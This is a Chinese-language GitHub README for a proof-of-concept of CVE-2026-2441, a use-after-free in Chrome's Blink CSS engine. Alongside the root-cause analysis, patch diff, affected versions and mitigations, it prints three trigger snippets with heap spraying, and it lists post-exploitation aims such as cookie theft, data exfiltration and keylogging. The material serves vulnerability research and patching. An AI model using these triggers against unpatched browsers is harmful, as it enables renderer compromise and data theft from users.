huseyinstif/CVE-2026-2441-PoC

GitHub: huseyinstif/CVE-2026-2441-PoC

针对 Chrome Blink CSS 引擎中 CSSFontFeatureValuesMap 组件 UAF 漏洞的概念验证代码,提供三种触发方法和详细的根因分析。

Stars: 103 | Forks: 17

# CVE-2026-2441 — Chrome CSSFontFeatureValuesMap Use-After-Free **CVSS 8.8 (高危)** | **已被在野利用** | **渲染器 RCE (沙箱内)** Google Chrome 的 Blink CSS 引擎中存在一个 use-after-free 漏洞,允许远程攻击者通过精心构造的 HTML 页面在浏览器沙箱内执行任意代码。 ## 漏洞详情 | 字段 | 值 | |-------|-------| | **CVE** | CVE-2026-2441 | | **CVSS** | 8.8 (高危) | | **类型** | Use-After-Free (CWE-416) | | **组件** | Blink CSS — `CSSFontFeatureValuesMap` | | **源文件** | `third_party/blink/renderer/core/css/css_font_feature_values_map.cc` | | **修复提交** | `63f3cb4864c64c677cd60c76c8cb49d37d08319c` | | **报告者** | Shaheen Fazim (2026-02-11) | | **补丁日期** | 2026-02-13 | | **在野利用** | 是 — Google 确认存在主动利用 | ## 受影响版本 | 平台 | 受影响版本 | 已修复版本 | |----------|-----------|-------| | Windows / macOS (Stable) | < 145.0.7632.75 | >= 145.0.7632.75 | | Linux (Stable) | < 144.0.7559.75 | >= 144.0.7559.75 | | Windows / macOS (Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 | | 基于 Chromium 的浏览器 (Edge, Brave, Opera, Vivaldi) | 查看供应商公告 | 视情况而定 | ## 根本原因 `FontFeatureValuesMapIterationSource` 存储了一个指向内部 `FontFeatureAliases` HashMap 的**原始指针** (`const FontFeatureAliases* aliases_`)。当通过 `set()` 或 `delete()` 在迭代期间修改 map 时,HashMap 会进行 rehash —— 分配新存储并释放旧存储。原始指针因此变成**悬垂指针**,下一次 `FetchNextItem()` 调用便会读取已释放的内存。 ### 漏洞代码路径 ``` CreateIterationSource() → FontFeatureValuesMapIterationSource(map, aliases_) → aliases_ = raw pointer to internal HashMap → iterator_ = aliases_->begin() FetchNextItem() → reads iterator_->key (through aliases_) If map.set() / map.delete() is called between iterations: → HashMap rehashes (new alloc, old freed) → aliases_ → dangling pointer → iterator_ → invalidated → Next FetchNextItem() → USE-AFTER-FREE ``` ### 修复 ``` - const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash + const FontFeatureAliases aliases_; // deep copy → immune to rehash ``` 该修复将原始指针替换为 HashMap 的**深拷贝**。即使原始 map 进行了 rehash,迭代器仍在自己的副本上操作,从而防止了悬垂指针。 ## 概念验证 ### 使用方法 1. 在**存在漏洞的** Chrome 版本 (< 145.0.7632.75) 中打开 `poc.html` 2. 页面将尝试通过三种不同的方法触发 UAF ### 预期结果 | Chrome 版本 | 预期行为 | |---------------|-------------------| | < 145.0.7632.75 (未打补丁) | **渲染器崩溃** — `STATUS_ACCESS_VIOLATION` (Windows) 或 `SIGSEGV` (Linux/macOS)。Chrome 显示“无法打开此页面”错误。 | | >= 145.0.7632.75 (已打补丁) | 无崩溃 — PoC 运行完成,所有条目正常读取。 | ### 截图 (未打补丁的 Chrome — 崩溃) 当在存在漏洞的 Chrome 版本中打开时,渲染器进程会因 `STATUS_ACCESS_VIOLATION` 崩溃: ``` Can't open this page Error code: STATUS_ACCESS_VIOLATION ``` 这证实了 UAF 被触发 —— 悬垂指针访问了已释放/未映射的内存,导致渲染器进程终止。 ## PoC 工作原理 PoC 通过**三种独立的方法**触发 UAF: ### 方法 1: `entries()` 迭代器 + 变更循环 ``` const iterator = map.entries(); while (step < 20) { iterator.next(); // read through (now dangling) pointer map.delete(key); // trigger rehash for (i = 0; i < 512; i++) map.set("spray_" + i, [i]); // force reallocation } ``` ### 方法 2: `for...of` + 并发变更 ``` for (const [k, v] of map) { map.delete(k); for (i = 0; i < 512; i++) map.set("alt_" + i, [i]); } ``` ### 方法 3: `requestAnimationFrame` + 布局重算 ``` function rafTrigger() { document.body.offsetWidth; // force layout recalc const result = iterator.next(); map.delete(k); for (i = 0; i < 512; i++) map.set("raf_" + i, [i]); requestAnimationFrame(rafTrigger); } ``` 每种方法还包括**堆喷射** —— 分配 50 个相同大小的 `@font-feature-values` 规则,以使堆布局可预测,从而便于潜在的利用。 ## 影响 ### 直接影响 (沙箱范围内) - 在渲染器进程沙箱内**执行任意代码** - **信息泄露** — 泄露 V8 堆指针 (ASLR 绕过),读取渲染器内存内容 - **凭据窃取** — 读取 `document.cookie`, `localStorage`, `sessionStorage`, 表单输入值 - **会话劫持** — 窃取会话令牌,通过 `fetch()` / `WebSocket` / `sendBeacon` 渗透数据 - **DOM 操作** — 注入钓鱼表单,修改页面内容 - **键盘记录** — 通过 `addEventListener('keydown')` 捕获所有击键 ### 链式攻击 (配合沙箱逃逸) 当与单独的沙箱逃逸漏洞结合时: ``` Renderer RCE (CVE-2026-2441) → Mojo IPC exploit → Browser process RCE → Kernel exploit → Full system compromise → Malware / ransomware / spyware installation → File system access, lateral movement, persistence ``` 使用类似浏览器 UAF 的真实世界利用链: - **NSO Pegasus** — WebKit UAF + 沙箱逃逸 + 内核利用 - **Intellexa Predator** — Chrome UAF + Android 内核利用 - **APT-28 (Fancy Bear)** — Chrome 0-day + Windows LPE 链 ## 攻击载体 此漏洞可通过**路过式下载**利用 — 除了访问恶意页面外,不需要用户交互: - **恶意广告** — 通过合法广告网络投放的恶意广告 - **水坑攻击** — 攻击目标经常访问的网站 - **鱼叉式钓鱼** — 通过电子邮件或消息发送精心构造的链接 ## 缓解措施 1. **将 Chrome 更新** 至 >= 145.0.7632.75 (Windows/macOS) 或 >= 144.0.7559.75 (Linux) 2. **更新基于 Chromium 的浏览器** (Edge, Brave, Opera, Vivaldi),等待供应商补丁发布 3. **验证站点隔离** 已启用 (`chrome://flags/#site-isolation-trial-opt-out`) 4. **监控终端** 是否存在低于修复版本的 Chrome ## 时间线 | 日期 | 事件 | |------|-------| | 2026-02-11 | 漏洞由 Shaheen Fazim 报告 | | 2026-02-13 | Google 发布 Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) | | 2026-02-13 | Google 确认在野利用 | | 2026-02-16 | Vivaldi 和 Opera 发布修复 | ## 参考 - [Google Chrome 发布博客](https://chromereleases.googleblog.com/2026/02/stable-channel-update-for-desktop_13.html) - [NVD — CVE-2026-2441](https://nvd.nist.gov/vuln/detail/cve-2026-2441) - [The Hacker News — Chrome Zero-Day 遭受主动攻击](https://thehackernews.com/2026/02/new-chrome-zero-day-cve-2026-2441-under.html) - [Chromium 问题跟踪器](https://issues.chromium.org/) (受限) ## 免责声明 此概念验证仅用于**教育和授权安全研究目的**。未经明确许可对系统使用此 PoC 是非法和不道德的。作者不对任何滥用行为负责。 ## 许可证 MIT
标签:0-day, 0day漏洞, Blink引擎, C++, Chromium, CSSFontFeatureValuesMap, CSS引擎, CVE-2026-2441, CVSS 8.8, Exploit, Google Chrome, Go语言工具, PoC, RCE, UAF, Use-After-Free, Web安全, 内存破坏, 后端开发, 后端开发, 在野利用, 多模态安全, 开放策略代理, 数据可视化, 数据擦除, 暴力破解, 沙箱逃逸, 漏洞分析, 类型混淆, 编程工具, 网络安全, 蓝队分析, 路径探测, 远程代码执行, 隐私保护, 高风险漏洞